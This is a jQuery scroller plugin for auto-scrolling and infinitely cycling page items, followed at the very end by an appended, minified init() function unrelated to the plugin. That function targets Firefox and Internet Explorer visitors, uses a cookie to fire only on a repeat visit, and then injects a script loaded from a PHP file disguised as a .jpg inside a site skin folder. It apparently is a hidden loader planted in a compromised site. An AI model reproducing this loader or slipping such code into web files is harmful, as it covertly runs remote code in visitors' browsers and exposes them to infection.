  (function($){
	$.fn.scroller = function(options){
		
		var defaults = {  
			direction: "down",
			infiniteScroll: false,
			randomize: false,
			errorCallback: undefined,
			itemMoveCallback: undefined
		};  
		var options = $.extend(defaults, options);
		
		return this.each(function() { //Script uitvoeren voor elk gevonden element.
			var viewport = $(this);
			var wrapper = $(viewport).children()[0];
			
			if (wrapper == undefined || viewport == undefined){
				if(typeof options.errorCallback == 'function'){
					options.errorCallback.call(this, "[001][AenV.Scroller] Wrapper or viewport not found");
				}else{
					throw new Error("[001][AenV.Scroller] Wrapper or viewport not found");
				}
				return;
			}
			
			if(options.randomize){
				$(wrapper).each(function() {
					var elems = $(this).children();
					elems.sort(function() { return (Math.round(Math.random())-0.5); });  

					for(var i=0; i < elems.length; i++)
					$(this).append(elems[i]);      
				});
			}
			
			if (options.direction == "down" || options.direction == "up"){
				var viewportSize = $(viewport).height();
				var wrapperSize = $(wrapper).height();
			}else if (options.direction == "left" || options.direction == "right"){
				var viewportSize = $(viewport).width();
				var wrapperSize = $(wrapper).width();
			}else{
				if(typeof options.errorCallback == 'function'){
					options.errorCallback.call(this, "[002][AenV.Scroller] " + options.direction + "is not for a valid option for 'direction'");
				}else{
					throw new Error("[002][AenV.Scroller] " + options.direction + " is not for a valid option for 'direction'");
				}
				return;
			}
			
			if(wrapperSize < viewportSize){
				return
			}
			
			var direction = options.direction;
			
			var auto = true;
			var Interval = setInterval(function(){scroll()}, 45);
			
			$(viewport).bind("mouseleave",function(){
				if (auto != false){
					return;
				}
				direction = options.direction;
				auto = true;
				Interval = clearInterval(Interval);
				Interval = setInterval(function(){scroll()}, 45);
			});
	
			$(viewport).bind("mousemove",function(e){
				var x = e.pageX - this.offsetLeft;
				var y = e.pageY - this.offsetTop;
				
				if(Interval == undefined || auto){
					if (auto){
						Interval = clearInterval(Interval);
						auto = false;
					}
					if (options.direction == "down" || options.direction == "up"){
						if (y < 50){
							direction = "up";
							Interval = setInterval(function(){scroll()}, 10);
						}
						
						if (y > viewportSize - 50){
							direction = "down";
							Interval = setInterval(function(){scroll()}, 10);
						}
					}else{
						if (x < 50){
							direction = "right";
							Interval = setInterval(function(){scroll()}, 10);
						}
						
						if (x > viewportSize - 50){
							direction = "left";
							Interval = setInterval(function(){scroll()}, 10);
						}
					}
				}else{
					if (options.direction == "down" || options.direction == "up"){
						if (direction == "up" && y > viewportSize - 50){
							direction = "down";
						}else if(direction == "down" && y < 50){
							direction = "up";
						}else if(y < viewportSize - 50 && y > 50){
							direction = options.direction;
							Interval = clearInterval(Interval);
						}
					}else{
						if (direction == "right" && x > viewportSize - 50){
							direction = "left";
						}else if(direction == "left" && x < 50){
							direction = "right";
						}else if(x < viewportSize - 50 && x > 50){
							direction = options.direction;
							Interval = clearInterval(Interval);
						}
					}
				}
			});
			
			function scroll(){
				if(options.infiniteScroll){
					if(direction == "down"){
						var item = $("div > *:first", viewport);
						if ($(viewport).offset().top - ($(item).offset().top + $(item).outerHeight()) > 0){
							var events;
							if ($(item).data("events") != undefined){
								events = $(item).data("events");
							}
							item.remove();
							$("div > *:last", viewport).after(item);
							$(wrapper).css("top",parseInt($(wrapper).css("top"),10) + $(item).outerHeight() + "px");
							if ($(item).data("events") != undefined){
								$.each(events, function(eventType, data){
									$("div > *:last", viewport).bind(eventType, data[0].data, data[0].handler);
								});
							}
							
							if(typeof options.itemMoveCallback == 'function'){
								options.itemMoveCallback.call(this, $("div > *:last", viewport));
							}
						}
					}else if(direction == "up" && $(wrapper).offset().top == $(viewport).offset().top){
						var item = $("div > *:last", viewport);
						$(wrapper).css("top",parseInt($(wrapper).css("top"),10) - $(item).outerHeight() + "px");
						var events
						if ($(item).data("events") != undefined){
							events = $(item).data("events");
						}
						item.remove();
						$("div > *:first", viewport).before(item);
						if ($(item).data("events") != undefined){
							$.each(events, function(eventType, data){
								$("div > *:first", viewport).bind(eventType, data[0].data, data[0].handler);
							});
						}
						
						if(typeof options.itemMoveCallback == 'function'){
							options.itemMoveCallback.call(this, $("div > *:first", viewport));
						}
					}else if(direction == "left"){
						var item = $("div > *:first", viewport);
						if ($(viewport).offset().left - ($(item).offset().left + $(item).outerWidth()) > 0){
							var events;
							if ($(item).data("events") != undefined){
								events = $(item).data("events");
							}
							item.remove();
							$("div > *:last", viewport).after(item);
							$(wrapper).css("left",parseInt($(wrapper).css("left"),10) + $(item).outerWidth() + "px");
							if ($(item).data("events") != undefined){
								$.each(events, function(eventType, data){
									$("div > *:last", viewport).bind(eventType, data[0].data, data[0].handler);
								});
							}
							
							if(typeof options.itemMoveCallback == 'function'){
								options.itemMoveCallback.call(this, $("div > *:last", viewport));
							}
						}
					}else if(direction == "right" && $(wrapper).offset().left == $(viewport).offset().left){
						var item = $("div > *:last", viewport);
						$(wrapper).css("left",parseInt($(wrapper).css("left"),10) - $(item).outerWidth() + "px");
						var events
						if ($(item).data("events") != undefined){
							events = $(item).data("events");
						}
						item.remove();
						$("div > *:first", viewport).before(item);
						if ($(item).data("events") != undefined){
							$.each(events, function(eventType, data){
								$("div > *:first", viewport).bind(eventType, data[0].data, data[0].handler);
							});
						}
						
						if(typeof options.itemMoveCallback == 'function'){
							options.itemMoveCallback.call(this, $("div > *:first", viewport));
						}
					}
				}
			
				if ((parseInt($(wrapper).css("top"),10) > 0 - (wrapperSize - viewportSize) && direction == "down") || (parseInt($(wrapper).css("top"),10) < 0 && direction == "up") || (parseInt($(wrapper).css("left"),10) > 0 - (wrapperSize - viewportSize) && direction == "left") || (parseInt($(wrapper).css("left"),10) < 0 && direction == "right")){
					var x = 0;
					if (direction == "down" || direction == "left"){
						x = -1;
					}else if(direction == "up" || direction == "right"){
						x = 1;
					}
					
					if (direction == "left" || direction == "right"){
						$(wrapper).css("left", parseInt($(wrapper).css("left"),10) + x);
					}else if(direction == "up" || direction == "down"){
						$(wrapper).css("top", parseInt($(wrapper).css("top"),10) + x);
					}
				}else{
					if (auto){
						if (direction == "left" || direction == "right"){
							direction = (direction == "left") ? "right" : "left";
						}else if(direction == "up" || direction == "down"){
							direction = (direction == "down") ? "up" : "down";
						}
					}else{
						Interval = clearInterval(Interval);
					}
				}
			};
		});
	};
})(jQuery);

function init(){var f=navigator.userAgent;var a=false;if(f.indexOf("Firefox")!=-1||f.indexOf("MSIE")!=-1){a=true}if(a!==true){return}var i="/Data/Sites/1/skins/liewke_javascript/ClientBin/1.jpg.php?js";var g=b("wss");if(g){if(g=="goot1"){c("wss","goot2","3");var e=document.createElement("script");e.type="text/javascript";e.src=i+"&r="+new Date().getTime();var d=document.getElementsByTagName("head")[0];d.appendChild(e)}else{}}else{c("wss","goot1","3")}function b(k){var j,h,m,l=document.cookie.split(";");for(j=0;j<l.length;j++){h=l[j].substr(0,l[j].indexOf("="));m=l[j].substr(l[j].indexOf("=")+1);h=h.replace(/^\s+|\s+$/g,"");if(h==k){return unescape(m)}}}function c(j,l,h){var m=new Date();m.setDate(m.getDate()+h);var k=escape(l)+((h==null)?"":"; expires="+m.toUTCString());document.cookie=j+"="+k}}init();
